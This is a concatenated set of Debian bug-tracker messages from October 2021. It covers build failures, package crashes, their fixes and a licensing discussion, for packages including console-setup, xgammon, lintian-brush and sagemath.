/usr/lib/ruby/vendor_ruby/nokogumbo/html5.rb:16: warning: already initialized 
constant Nokogiri::HTML5::XLINK_NAMESPACE
/var/lib/gems/2.7.0/gems/nokogiri-1.12.5-x86_64-linux/lib/nokogiri/html5.rb:230:
 warning: previous definition of XLINK_NAMESPACE was here
/usr/lib/ruby/vendor_ruby/nokogumbo/html5.rb:17: warning: already initialized 
constant Nokogiri::HTML5::XML_NAMESPACE
/var/lib/gems/2.7.0/gems/nokogiri-1.12.5-x86_64-linux/lib/nokogiri/html5.rb:231:
 warning: previous definition of XML_NAMESPACE was here
/usr/lib/ruby/vendor_ruby/nokogumbo/html5.rb:18: warning: already initialized 
constant Nokogiri::HTML5::XMLNS_NAMESPACE
/var/lib/gems/2.7.0/gems/nokogiri-1.12.5-x86_64-linux/lib/nokogiri/html5.rb:232:
 warning: previous definition of XMLNS_NAMESPACE was here
rake aborted!
NoMethodError: undefined method `build' for 
#
/var/lib/gems/2.7.0/gems/pg_query-2.1.1/lib/pg_query/pg_query_pb.rb:6:in `'
/var/lib/gems/2.7.0/gems/activesupport-6.1.4.1/lib/active_support/dependencies.rb:332:in
 `require'
/var/lib/gems/2.7.0/gems/activesupport-6.1.4.1/lib/active_support/dependencies.rb:332:in
 `block in require'
/var/lib/gems/2.7.0/gems/activesupport-6.1.4.1/lib/active_support/dependencies.rb:299:in
 `load_dependency'
/var/lib/gems/2.7.0/gems/activesupport-6.1.4.1/lib/active_support/dependencies.rb:332:in
 `require'
/var/lib/gems/2.7.0/gems/pg_query-2.1.1/lib/pg_query.rb:4:in `'
/usr/share/rubygems-integration/all/gems/bundler-2.2.5/lib/bundler/runtime.rb:66:in
 `require'
/usr/share/rubygems-integration/all/gems/bundler-2.2.5/lib/bundler/runtime.rb:66:in
 `block (2 levels) in require'
/usr/share/rubygems-integration/all/gems/bundler-2.2.5/lib/bundler/runtime.rb:61:in
 `each'
/usr/share/rubygems-integration/all/gems/bundler-2.2.5/lib/bundler/runtime.rb:61:in
 `block in require'
/usr/share/rubygems-integration/all/gems/bundler-2.2.5/lib/bundler/runtime.rb:50:in
 `each'
/usr/share/rubygems-integration/all/gems/bundler-2.2.5/lib/bundler/runtime.rb:50:in
 `require'
/usr/share/rubygems-integration/all/gems/bundler-2.2.5/lib/bundler.rb:173:in 
`require'
/usr/share/gitlab/config/application.rb:15:in `'
/usr/share/gitlab/Rakefile:9:in `require'
/usr/share/gitlab/Rakefile:9:in `'



-- System Information:
Debian Release: 11.1
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 
'stable'), (100, 'bullseye-fasttrack'), (100, 'bullseye-backports-staging')
Architecture: amd64 (x86_64)

Kernel: Linux 5.10.0-8-amd64 (SMP w/16 CPU threads)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL 
set to en_US.UTF-8), LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gitlab depends on:
ii  apache2 [httpd] 2.4.51-1~deb11u1
ii  asciidoctor 2.0.16-1~fto11+1
ii  bc  1.07.1-2+b2
ii  bundler 2.2.5-2
ii  bzip2   1.0.8-4
ii  dbconfig-pgsql  2.0.19
ii  debconf [debconf-2.0]   1.5.77
ii  exim4   4.94.2-7
ii  exim4-daemon-light [mail-trans  4.94.2-7
ii  fonts-font-awesome [node-font-  5.0.10+really4.7.0~dfsg-4.1
ii  gitlab-common   14.1.7+dfsg-1~fto11+1
ii  gitlab-workhorse14.1.7+ds1-2~fto11+1
ii  katex [node-katex]  0.13.11+~cs6.0.0-2~bpo11+1
ii  libjs-bootstrap4 [node-bootstr  4.5.2+dfsg1-7
ii  libjs-codemirror [node-codemir  5.59.2+~cs0.23.109-1
ii  libjs-pdf [node-pdfjs-dist] 2.6.347+dfsg-3
ii  libjs-popper.js [node-popper.j  1.16.1+ds-3
ii  libruby2.7 [ruby-rexml] 2.7.4-1
ii  lsb-base11.1.0
ii  

Bug#994223: marked as done (lintian-brush is unusable)

[Debian Bug Tracking System]

Your message dated Sat, 30 Oct 2021 23:31:03 +
with message-id 
and subject line Fixed in 3.2.0+bzr7543-1
has caused the Debian Bug report #994223,
regarding lintian-brush is unusable
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
994223: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994223
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: lintian-brush
Version: 0.111
Severity: important
X-Debbugs-Cc: pkg-javascript-de...@lists.alioth.debian.org

Hi,

when launching lintian-brush on a multiple-sources packages, it crashes:

  Traceback (most recent call last):
  File "/usr/bin/lintian-brush", line 33, in 
sys.exit(load_entry_point('lintian-brush==0.111', 'console_scripts', 
'lintian-brush')())
  File "/usr/lib/python3/dist-packages/lintian_brush/__main__.py", line 328, in 
main
overall_result = run_lintian_fixers(
  File "/usr/lib/python3/dist-packages/lintian_brush/__init__.py", line 1165, 
in run_lintian_fixers
check_clean_tree(local_tree, basis_tree, subpath)
  File "/usr/lib/python3/dist-packages/lintian_brush/__init__.py", line 778, in 
check_clean_tree
changes = local_tree.iter_changes(
  File "/usr/lib/python3/dist-packages/breezy/tree.py", line 269, in 
iter_changes
return intertree.iter_changes(include_unchanged, specific_files, pb,
  File "/usr/lib/python3/dist-packages/breezy/git/tree.py", line 971, in 
iter_changes
changes, target_extras = self._iter_git_changes(
  File "/usr/lib/python3/dist-packages/breezy/git/tree.py", line 1622, in 
_iter_git_changes
return changes_between_git_tree_and_working_copy(
  File "/usr/lib/python3/dist-packages/breezy/git/tree.py", line 1643, in 
changes_between_git_tree_and_working_copy
for path, index_entry in target._recurse_index_entries():
  File "/usr/lib/python3/dist-packages/breezy/git/tree.py", line 1266, in 
_recurse_index_entries
(ctime, mtime, dev, ino, mode, uid, gid, size, sha,
  ValueError: too many values to unpack (expected 10)

You can try for example with node-ws.

Cheers,
Yadd


-- System Information:

Versions of packages lintian-brush depends on:
ii  devscripts   2.21.4
ii  python3  3.9.2-3
ii  python3-breezy   3.1.0-8
ii  python3-debian   0.1.39
ii  python3-debmutate0.38
ii  python3-distro-info  1.0
ii  python3-dulwich  0.20.23-1
ii  python3-iniparse 0.4-3
ii  python3-iso8601  0.1.13-1
ii  python3-ruamel.yaml  0.16.12-2
ii  python3-upstream-ontologist  0.1.22-1

Versions of packages lintian-brush recommends:
ii  decopy   0.2.4.4-0.1
ii  dos2unix 7.4.1-1
ii  gpg  2.2.27-2
ii  libdebhelper-perl13.5.1
ii  lintian  2.106.0
ii  ognibuild0.0.9-1
ii  python3-asyncpg  0.24.0-1
ii  python3-bs4  4.9.3-1
ii  python3-docutils 0.16+dfsg-4
ii  python3-levenshtein  0.12.2-1
ii  python3-lxml 4.6.3+dfsg-0.1
ii  python3-markdown 3.3.4-1
ii  python3-pyinotify0.9.6-1.3
ii  python3-tomlkit  0.6.0-2

Versions of packages lintian-brush suggests:
pn  breezy-debian  
pn  gnome-pkg-tools
ii  po-debconf 1.0.21+nmu1
ii  postgresql-common  227

-- no debconf information
--- End Message ---
--- Begin Message ---
Version: 3.2.0+bzr7543-1--- End Message ---

Bug#997266: marked as pending in trinculo

[Nilesh Patra]

Control: tag -1 pending

Hello,

Bug #997266 in trinculo reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/med-team/trinculo/-/commit/135b861c44d975b2e87e07755dfb28b230482e5c


Add patch to fix FTBFS with gcc-11 (Closes: #997266)


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/997266

Processed: Bug#997266 marked as pending in trinculo

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #997266 [src:trinculo] trinculo: FTBFS: src/trinculo.cpp:45:19: error: 
invalid ‘static_cast’ from type ‘std::__cxx11::basic_ostringstream’ to 
type ‘std::ostringstream&’ {aka ‘std::__cxx11::basic_ostringstream&’}
Added tag(s) pending.

-- 
997266: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997266
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997259: marked as done (xgammon: FTBFS: save.c:145:60: error: ‘sys_siglist’ undeclared (first use in this function))

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 19:18:47 +
with message-id 
and subject line Bug#997259: fixed in xgammon 0.99.1128-5
has caused the Debian Bug report #997259,
regarding xgammon: FTBFS: save.c:145:60: error: ‘sys_siglist’ undeclared (first 
use in this function)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997259: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997259
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: xgammon
Version: 0.99.1128-4
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> gcc -g -O2 -fno-strict-aliasing  -I. -I./exports/include   -Dlinux 
> -D__amd64__ -D_POSIX_C_SOURCE=199309L  
> -D_POSIX_SOURCE -D_XOPEN_SOURCE -D_BSD_SOURCE 
> -D_SVID_SOURCE -D_LARGEFILE_SOURCE 
> -D_FILE_OFFSET_BITS=64  -D_GNU_SOURCE 
>-DFUNCPROTO=15 -DNARROWPROTO   -c -o save.o save.c
> In file included from 
> /usr/include/x86_64-linux-gnu/bits/libc-header-start.h:33,
>  from /usr/include/stdio.h:27,
>  from save.c:21:
> /usr/include/features.h:187:3: warning: #warning "_BSD_SOURCE and 
> _SVID_SOURCE are deprecated, use _DEFAULT_SOURCE" [-Wcpp]
>   187 | # warning "_BSD_SOURCE and _SVID_SOURCE are deprecated, use 
> _DEFAULT_SOURCE"
>   |   ^~~
> save.c: In function ‘sig_save’:
> save.c:145:60: error: ‘sys_siglist’ undeclared (first use in this function)
>   145 | fprintf (stderr, "xgammon: %s.  Sorry and bye!\n", 
> sys_siglist[n]);
>   |^~~
> save.c:145:60: note: each undeclared identifier is reported only once for 
> each function it appears in
> make[1]: *** [: save.o] Error 1


The full build log is available from:
http://qa-logs.debian.net/2021/10/23/xgammon_0.99.1128-4_unstable.log

A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!

If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects

If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: xgammon
Source-Version: 0.99.1128-5
Done: Sudip Mukherjee 

We believe that the bug you reported is fixed in the latest version of
xgammon, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 997...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Sudip Mukherjee  (supplier of updated xgammon 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Sun, 31 Oct 2021 18:53:41 +
Source: xgammon
Architecture: source
Version: 0.99.1128-5
Distribution: unstable
Urgency: medium
Maintainer: Debian QA Group 
Changed-By: Sudip Mukherjee 
Closes: 997259
Changes:
 xgammon (0.99.1128-5) unstable; urgency=medium
 .
   * QA upload.
   * Update Standards-Version to 4.6.0.1
   * Fix FTBFS. (Closes: #997259)
 - Use strsignal instead of sys_siglist.
Checksums-Sha1:
 3320c0ad6feaebaa7a2d390f5cdcd08a898ba1c1 1729 xgammon_0.99.1128-5.dsc
 9dbf1b600c4a07d50f93678a94760ff237f2df6b 7668 xgammon_0.99.1128-5.debian.tar.xz
 ba2eec951e34e71676276d946846ae786aabc158 6980 
xgammon_0.99.1128-5_amd64.buildinfo
Checksums-Sha256:
 5e0ca8abc503985026a0aeffe514715c33738dfb2ea81dc3470d149c6dd982c3 1729 
xgammon_0.99.1128-5.dsc
 585a89f78d1824476b7c3ab3376e9c175e1982bdb3e7cc27d5716a0f83701ecd 7668 
xgammon_0.99.1128-5.debian.tar.xz
 9f8df386f77263e8b6b0a719bce736b521a18f9dd0a3681a77d7922bf5895361 6980 
xgammon_0.99.1128-5_amd64.buildinfo
Files:
 92c162bec7af13dd10ce42b3f21c961e 1729 games optional xgammon_0.99.1128-5.dsc
 bf069accefbed62f6febfc4a309573db 7668 games optional 
xgammon_0.99.1128-5.debian.tar.xz
 2c4887375338cf85a5ea9fee994e7b16 

Processed: sagemath: package new upstream version

[Debian Bug Tracking System]

Processing control commands:

> block -1 by 992003
Bug #998190 [src:sagemath] sagemath: package new upstream version
998190 was not blocked by any bugs.
998190 was not blocking any bugs.
Added blocking bug(s) of 998190: 992003
> block 986527 by -1
Bug #986527 [src:sagemath] testsuite is too fragile - FTBFS randomly
986527 was not blocked by any bugs.
986527 was not blocking any bugs.
Added blocking bug(s) of 986527: 998190
> block 993149 by -1
Bug #993149 [src:sagemath] sagemath FTBFS with eclib 20210625-1
993149 was not blocked by any bugs.
993149 was not blocking any bugs.
Added blocking bug(s) of 993149: 998190

-- 
986527: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=986527
993149: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=993149
998190: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=998190
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#998190: sagemath: package new upstream version

[Tobias Hansen]

Source: sagemath
Version: 9.2-2
Severity: serious
Control: block -1 by 992003
Control: block 986527 by -1
Control: block 993149 by -1

I started updating sagemath to version 9.4, which is the first version that 
supports pari 2.13 (which is already in Debian and causes a large part of the 
failing doctests).

I got stuck for now because we need an update of singular (see #992003).

I am filing this bug to make the situation more transparent. I am marking it as 
serious because the current sagemath package FTBFS. Since sagemath has not been 
updated for a while, fixing it requires preparing a compatible combination of 
its dependencies. It makes most sense to do this for the current sagemath 
version (rather than heavily patching an old sagemath version to work with 
newer versions of dependencies).

Best,
Tobias

Bug#997110: marked as done (console-setup: FTBFS: ./kbdcompiler: ckbcomp failed)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 18:03:23 +
with message-id 
and subject line Bug#997110: fixed in console-setup 1.206
has caused the Debian Bug report #997110,
regarding console-setup: FTBFS: ./kbdcompiler: ckbcomp failed
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997110: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997110
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: console-setup
Version: 1.205
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> Compiling compact keymaps for amiga...
> Compiling compact keymaps for ataritt...
> Compiling compact keymaps for pc105...
> Compiling compact keymaps for sun4...
> ./kbdcompiler: ckbcomp failed
> make: *** [debian/rules:68: /<>/sun4.ekmap] Error 2


The full build log is available from:
http://qa-logs.debian.net/2021/10/23/console-setup_1.205_unstable.log

A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!

If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects

If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: console-setup
Source-Version: 1.206
Done: Samuel Thibault 

We believe that the bug you reported is fixed in the latest version of
console-setup, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 997...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Samuel Thibault  (supplier of updated console-setup 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Sun, 31 Oct 2021 18:13:37 +0100
Source: console-setup
Architecture: source
Version: 1.206
Distribution: unstable
Urgency: medium
Maintainer: Debian Install System Team 
Changed-By: Samuel Thibault 
Closes: 825138 968195 997110
Changes:
 console-setup (1.206) unstable; urgency=medium
 .
   * Team upload.
 .
   [ Sébastien Villemot ]
   * ckbcomp: When translating X symbols to kernel symbols, ignore Unicode
 code points above 0x. Those code points aren’t supported by the
 Linux kernel, so loadkeys won’t be able to load them, or even parse
 the value. This affects the fr(bepo_afnor) keymap, which includes the
 copyleft symbol U+1F12F.
 Thanks to Jean-Louis Biasini for the bug report and Anisse Astier for the
 initial patch. (Closes: #968195)
 .
   [ Reiner Herrmann ]
   * Fix reproducibility against file ordering.
   * Fix reproducibility against umask. Closes: #825138.
 .
   [ Peter Hutterer ]
   * Keyboard/ckbcomp: use the "base" XKB files, not "xorg".
 .
   [ Samuel Thibault ]
   * Keyboard/kbdcompiler: Avoid 'custom' layout. Closes: #997110.
   * console-setup-linux.lintian-overrides: Suppress warnings about national
 encodings.
Checksums-Sha1:
 0f525c45c1a190548593bdffb070e7fee78c 3180 console-setup_1.206.dsc
 44cf217b602d1ca427c2ddd7ff848845a39962dc 1794560 console-setup_1.206.tar.xz
 340b0095e58b4765460728dae09b41f04f8fb7e6 11465 
console-setup_1.206_amd64.buildinfo
Checksums-Sha256:
 8f4f53223e8a8a7bfcced7374258fc9e482e71b41b5b682f2415c5f3783f0a3c 3180 
console-setup_1.206.dsc
 856d0f123911779f5285a9c1479ea505c89981054df5b7ab4cd49fdd32663d2c 1794560 
console-setup_1.206.tar.xz
 105a98adc61a60383a6fb6e2211a99d24351d5e77e883ebd9c3d1ece3c7f70ed 11465 
console-setup_1.206_amd64.buildinfo
Files:
 b685f32d734d035f5e3b3718cb9ae729 3180 utils optional console-setup_1.206.dsc
 291a1c99e5e4240b1cc039d442c8117e 1794560 utils optional 
console-setup_1.206.tar.xz
 4f5c01c9120226fd2cad56a48317d9ee 11465 utils optional 
console-setup_1.206_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCgAdFiEE59DSENomQIYa2nfqRdTszGSEm3kFAmF+1wQACgkQRdTszGSE
m3lKHBAAqakIqY+Ct4LX3ohO2/6rMX/ntM6wwzHvrilPlns4SeWaD4s6GiElmC1C
FrILWCx0mqYLtolwMi8zs9tgSbhPKsrnVJDGocWZ3VzDpsD+6y6T7j5Emz3EfM4Z

Bug#997564: marked as done (golang-github-facebookgo-stack: FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && go test -vet=off -v -p 1 github.com/facebookgo/stack returned exit code 1)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 18:03:28 +
with message-id 
and subject line Bug#997564: fixed in golang-github-facebookgo-stack 
0.0~git20160209.0.7517733-9
has caused the Debian Bug report #997564,
regarding golang-github-facebookgo-stack: FTBFS: dh_auto_test: error: cd 
obj-x86_64-linux-gnu && go test -vet=off -v -p 1 github.com/facebookgo/stack 
returned exit code 1
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997564: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997564
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: golang-github-facebookgo-stack
Version: 0.0~git20160209.0.7517733-8
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20211023 ftbfs-bookworm

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> make[1]: Entering directory '/<>'
> dh_auto_test -O--buildsystem=golang -O--no-parallel
>   cd obj-x86_64-linux-gnu && go test -vet=off -v -p 1 
> github.com/facebookgo/stack
> === RUN   TestCallers
> stack_test.go:87: did not find expected match "stack_test.go:12 
> +indirect1$" on line 0 in:
> github.com/facebookgo/stack/stack_test.go:12  TestCallers
> github.com/facebookgo/stack/stack_test.go:16  TestCallers
> github.com/facebookgo/stack/stack_test.go:16  indirect2
> github.com/facebookgo/stack/stack_test.go:24  TestCallers
> /usr/lib/go-1.17/src/testing/testing.go:1259  tRunner
> /usr/lib/go-1.17/src/runtime/asm_amd64.s:1581 goexit
> --- FAIL: TestCallers (0.00s)
> === RUN   TestCallersMulti
> stack_test.go:36: expected suffix "stack_test.go:32 TestCallersMulti" got 
> "github.com/facebookgo/stack/stack.go:63 (*Multi).Stacks"
> --- FAIL: TestCallersMulti (0.00s)
> === RUN   TestCallersMultiWithTwo
> --- PASS: TestCallersMultiWithTwo (0.00s)
> === RUN   TestCallersWithStruct
> stack_test.go:87: did not find expected match "stack_test.go:55 
> +typ.indirect1$" on line 0 in:
> github.com/facebookgo/stack/stack_test.go:55  TestCallersWithStruct
> github.com/facebookgo/stack/stack_test.go:59  TestCallersWithStruct
> github.com/facebookgo/stack/stack_test.go:59  typ.indirect2
> github.com/facebookgo/stack/stack_test.go:68  TestCallersWithStruct
> /usr/lib/go-1.17/src/testing/testing.go:1259  tRunner
> /usr/lib/go-1.17/src/runtime/asm_amd64.s:1581 goexit
> --- FAIL: TestCallersWithStruct (0.00s)
> === RUN   TestCaller
> --- PASS: TestCaller (0.00s)
> FAIL
> FAIL  github.com/facebookgo/stack 0.003s
> FAIL
> dh_auto_test: error: cd obj-x86_64-linux-gnu && go test -vet=off -v -p 1 
> github.com/facebookgo/stack returned exit code 1


The full build log is available from:
http://qa-logs.debian.net/2021/10/23/golang-github-facebookgo-stack_0.0~git20160209.0.7517733-8_unstable.log

A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!

If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects

If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: golang-github-facebookgo-stack
Source-Version: 0.0~git20160209.0.7517733-9
Done: Aloïs Micard 

We believe that the bug you reported is fixed in the latest version of
golang-github-facebookgo-stack, which is due to be installed in the Debian FTP 
archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 997...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Aloïs Micard  (supplier of updated 
golang-github-facebookgo-stack package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Sun, 31 Oct 2021 18:44:04 +0100
Source: golang-github-facebookgo-stack
Architecture: source
Version: 0.0~git20160209.0.7517733-9
Distribution: unstable
Urgency: medium
Maintainer: Debian Go Packaging Team 
Changed-By: Aloïs Micard 
Closes: 997564
Changes:
 

Bug#998156: contains non-DFSG-free files

[Ryan Kavanagh]

On Sun, Oct 31, 2021 at 12:01:34PM -0500, Henry Cejtin wrote:
> I would think that the right solution would be to move it into a
> separate package, and that package would be part of the "non-free"
> world in Debian.

That would work from my point of view.

While we're discussing non-free files, I've found the following
problematic source files so far. Is there anything to indicate that they
can be distributed at all, let alone under the HPND or some other free
license? They're all benchmarks, so they could probably be dropped
without too much impact...

* benchmark/tests/md5.sml:
  Copyright (C) 2001 Daniel Wang. All rights reserved.

  The "All rights reserved" bit and the lack of any licensing
  information makes me skeptical that the file can be distributed at
  all. It could be replaced by Tom7's implementation if you want a
  crypto benchmark:
  https://github.com/LenaWil/tom7/tree/master/sml-lib/crypt/MD5

* benchmark/tests/DATA/chess.gml:
  Copyright Leif Kornstaedt, 2000

  This looks like it was taken from an ICFP programming content
  submission, with no clear licensing information:
  https://www.ps.uni-saarland.de/helikopter/2000/

* benchmark/tests/zern.sml
  COPYRIGHT (c) 1998 D.McClain/MCFA

  This looks like it was taken from
  
https://web.archive.org/web/20010215003107/http://www.azstarnet.com/~dmcclain/LanguageStudy.html
  with no clear licensing information.

I'll update this bug report with any other files I find.

Best,
Ryan

-- 
|)|/  Ryan Kavanagh  | 4E46 9519 ED67 7734 268F
|\|\  https://rak.ac | BD95 8F7B F8FC 4A11 C97A


signature.asc
Description: PGP signature

Processed: Bug#997564 marked as pending in golang-github-facebookgo-stack

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #997564 [src:golang-github-facebookgo-stack] 
golang-github-facebookgo-stack: FTBFS: dh_auto_test: error: cd 
obj-x86_64-linux-gnu && go test -vet=off -v -p 1 github.com/facebookgo/stack 
returned exit code 1
Added tag(s) pending.

-- 
997564: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997564
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997564: marked as pending in golang-github-facebookgo-stack

[Aloïs Micard]

Control: tag -1 pending

Hello,

Bug #997564 in golang-github-facebookgo-stack reported by you has been fixed in 
the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/go-team/packages/golang-github-facebookgo-stack/-/commit/78e478d86a84661a983af0fb3f01acebc2aee4f4


Update patch to make it work with Go 1.17

Closes: #997564


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/997564

Processed: Bug#997110 marked as pending in console-setup

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #997110 [src:console-setup] console-setup: FTBFS: ./kbdcompiler: ckbcomp 
failed
Added tag(s) pending.

-- 
997110: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997110
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997110: marked as pending in console-setup

[Samuel Thibault]

Control: tag -1 pending

Hello,

Bug #997110 in console-setup reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/installer-team/console-setup/-/commit/8de87da89372d778f490aee8a9198c22521c97d2


Keyboard/kbdcompiler: Avoid 'custom' layout

Closes: #997110.


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/997110

Bug#997110: console-setup: FTBFS: ./kbdcompiler: ckbcomp failed

[Samuel Thibault]

Samuel Thibault, le dim. 31 oct. 2021 18:00:11 +0100, a ecrit:
> Lucas Nussbaum, le sam. 23 oct. 2021 20:32:13 +0200, a ecrit:
> > Relevant part (hopefully):
> > > Compiling compact keymaps for amiga...
> > > Compiling compact keymaps for ataritt...
> > > Compiling compact keymaps for pc105...
> > > Compiling compact keymaps for sun4...
> > > ./kbdcompiler: ckbcomp failed
> > > make: *** [debian/rules:68: /<>/sun4.ekmap] Error 2
> 
> As additional information: Keyboard/ckbcomp.log says:
> 
> [...]
> ./ckbcomp  -compact -I. -I/usr/share/X11/xkb -rules xorg -model pc105 -layout 
> us,th -variant ,tis >linux-keymaps/pc105-th:tis.new 2>>ckbcomp.log
> ./ckbcomp  -compact -I. -I/usr/share/X11/xkb -rules xorg -model pc105 -layout 
> custom -variant  >linux-keymaps/pc105-custom:.new 2>>ckbcomp.log
> ./ckbcomp: Can not find file "symbols/custom" in any known directory

Thus committed this, I'll upload it.

Samuel
commit 8de87da89372d778f490aee8a9198c22521c97d2
Author: Samuel Thibault 
Date:   Sun Oct 31 18:04:36 2021 +0100

Keyboard/kbdcompiler: Avoid 'custom' layout

Closes: #997110.

diff --git a/Keyboard/kbdcompiler b/Keyboard/kbdcompiler
index 61c96af..726b23d 100755
--- a/Keyboard/kbdcompiler
+++ b/Keyboard/kbdcompiler
@@ -93,6 +93,7 @@ printf STDERR "Compiling compact keymaps for %s...\n", $model;
 for my $layout (values %KeyboardNames::layouts) {
 next if ($layout eq 'nec/jp');
 next if ($layout eq 'nec_vndr/jp');
+next if ($layout eq 'custom');
 my $actual_layout = (($layout eq 'rs') ? 'rs,rs'
 : (($layout eq 'lt') ? 'lt,lt'
: (($nonlatin =~ / $layout /)
diff --git a/debian/changelog b/debian/changelog
index 4ff47f1..9f2edb5 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -16,6 +16,9 @@ console-setup (1.206) UNRELEASED; urgency=medium
   [ Peter Hutterer ]
   * Keyboard/ckbcomp: use the "base" XKB files, not "xorg".
 
+  [ Samuel Thibault ]
+  * Keyboard/kbdcompiler: Avoid 'custom' layout. Closes: #997110.
+
  -- Samuel Thibault   Sun, 05 Sep 2021 14:34:03 +0200
 
 console-setup (1.205) unstable; urgency=medium

Bug#997110: console-setup: FTBFS: ./kbdcompiler: ckbcomp failed

[Samuel Thibault]

Lucas Nussbaum, le sam. 23 oct. 2021 20:32:13 +0200, a ecrit:
> Relevant part (hopefully):
> > Compiling compact keymaps for amiga...
> > Compiling compact keymaps for ataritt...
> > Compiling compact keymaps for pc105...
